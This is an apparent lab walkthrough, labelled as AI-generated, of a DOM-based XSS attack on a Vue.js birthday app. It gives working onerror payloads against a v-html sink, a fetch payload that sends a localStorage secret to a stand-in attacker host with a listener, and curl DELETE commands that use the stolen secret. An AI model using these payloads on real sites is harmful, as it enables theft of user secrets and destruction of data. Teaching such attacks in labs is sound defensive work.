Understanding DOM-Based XSS Attack
This content is an AI-generated summary. If you encounter any misinformation or problematic content, please report it to cyb.hub@proton.me.
DOM-Based Cross-Site Scripting (XSS) is a type of client-side attack that exploits vulnerabilities in the Document Object Model (DOM) of web applications. This attack is particularly relevant for Single Page Applications (SPAs) built with frameworks like Vue.js.
Key Points
- Environment Setup: Ensure the target domain resolves locally by adding an entry to your
/etc/hosts
file. - Objective: Delete all birthday records on the website by extracting a secret stored on the client side via XSS.
- Initial Recon: Use browser dev tools to inspect component files and understand the app's structure.
- XSS Vulnerability: Identify vulnerable sinks and source fields in the application.
- Proof of Concept (PoC): Test and verify the XSS vulnerability using safe and working payloads.
- Exfiltration Attack: Steal the secret stored in
localStorage
using a crafted payload. - Deleting Entries: Use the stolen secret to send DELETE requests and remove birthday records.
Environment Setup
Before starting, ensure the target domain resolves locally by adding an entry to your /etc/hosts
file:
sudo echo [TARGET_IP] custom.local >> /etc/hosts
Access the web application at:
http://custom.local:5173/
Objective
Goal: Delete all birthday records on the website.
Challenge: The app is protected by a secret stored on the client side, which needs to be extracted via XSS.
Initial Recon
The app uses Vue.js and functions as a SPA. Viewing the page source yields little; most content is rendered dynamically via JavaScript. Use browser dev tools (Debugger tab) to inspect component files (e.g., Bdays.vue
).
XSS Vulnerability
Root Cause
<td><p v-html=bday.person></p></td>
<td>{{ bday.bdate }}</td>
v-html
= vulnerable sink → unsanitized{{ ... }}
= safe sink → sanitized
Source field: person
Vulnerable directive: v-html
Proof of Concept (PoC)
Test Payload (Safe)
<script>console.log('xss')</script>
- Not executed.
Working Payload
<img src="x" onerror="console.log('xss')">
- Output appears in the browser dev console.
Exfiltration Attack
Objective: Steal the secret stored in localStorage
.
Payload
<img src="x" onerror="setInterval(function() {
fetch('http://[ATTACKER_IP]:8888?secret=' + encodeURIComponent(localStorage.getItem('secret')))
}, 2000);">
Start a listener:
python3 -m http.server 8888
Submit this payload as the "Person" field in a new birthday entry. Once a legitimate user visits, their browser will leak the secret.
Deleting Entries
Delete Function Logic (Vue)
removeBday(bdayID) {
var secret = localStorage.getItem('secret');
const path = `http://custom.local:5001/bdays/${bdayID}?secret=`;
axios.delete(path + secret)
}
API Structure
- Backend on port 5001
- Requires a valid secret
- Requires known
bdayID
Retrieving Birthday IDs
Use Burp Suite or browser dev tools to intercept requests. Identify the request to GET /bdays
and extract the id
values of all birthday entries.
Example
[
{ "id": "abc123", "person": "...", "bdate": "..." },
{ "id": "def456", "person": "...", "bdate": "..." }
]
Triggering the Deletion
Using curl
, send DELETE requests:
curl -X DELETE http://custom.local:5001/bdays/abc123?secret=stolen_secret
curl -X DELETE http://custom.local:5001/bdays/def456?secret=stolen_secret
Summary
Step | Action |
---|---|
Recon | Analyze DOM and Vue components |
Exploit Injection | Insert malicious payload using v-html sink |
Steal Secret | Use image tag with JS to extract from localStorage |
Discover IDs | Use proxy or dev tools to list birthday entry IDs |
Delete Records | Send crafted DELETE requests using stolen secret |
Lesson Learned: Never trust client-side rendering for handling sensitive actions or unsanitized inputs — always sanitize output and avoid using v-html
unless absolutely necessary.